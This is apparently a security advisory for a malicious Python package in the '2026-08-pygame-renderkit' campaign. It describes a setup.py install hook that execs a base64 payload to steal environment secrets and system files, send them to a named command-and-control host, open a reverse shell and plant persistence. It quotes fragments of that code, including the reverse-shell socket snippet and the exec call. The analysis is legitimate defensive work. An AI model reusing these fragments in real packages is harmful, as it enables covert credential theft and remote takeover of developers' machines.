GCVE-110-OSM-2026-11684

During installation, the package attempts to exfiltrate sensitive environment variables and files, establish persistence and open reverse shell. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-pygame-renderkit Reasons (based on the campaign): - persistence - The package overrides the install command in setup.py to execute malicious code during installation. - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine. - files-exfiltration - exfiltration-env-variables Judge assessment: This is an install-time infostealer/backdoor aimed at the victim machine: the `setup.py` install hook (`cmdclass={'install': PostInstallCommand}`) decodes a base64 payload and `exec(compile(payload, '<renderkit>', 'exec'))` on non-Windows hosts. The payload explicitly harvests environment secrets and sensitive files (`/etc/passwd`, `/etc/sudoers`, `/etc/shadow`, `/root/.bash_history`), sends them to the C2 host `5uj0a8ziyu.localto.net`, and opens a reverse shell via `socket.connect` and `pty.spawn('/bin/bash')` or `subprocess.call(['/bin/sh', '-i'])`. It also establishes persistence through `crontab`, a user systemd service, and a sudoers drop-in, which is consistent with a credential-theft and remote-control attacker model rather than a legitimate build helper. The OSV advisory aligns with the actual code, but the decisive evidence is directly visible in `setup.py` and the recovered exfil IOC. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Sensitive File Access in setup.py: "'/etc/passwd'" - Reverse Shell in setup.py: "socket.socket()\n s.connect((\"{C2_HOST}\",{C2_PORT}))\n os.dup2(s.fileno(),0)\n..." - Data Encoding for Exfiltration in setup.py: "base64.b64encode(" ADDITIONAL FINDINGS - Download Execute Delete Pattern in setup.py: "open('/tmp/.cron_tmp', 'w') as f: f.write(existing + cron_cmd) subprocess.call([..." - Dynamic Code Execution in setup.py: "compile(payload, '<renderkit>', 'exec')" - Shell Command Execution in setup.py: "subprocess.call(" - Silent Process Execution in setup.py: "stdout=subprocess.DEVNULL" - Setup.py Command Override in setup.py: "cmdclass={ 'install'" PAYLOAD FILES setup.py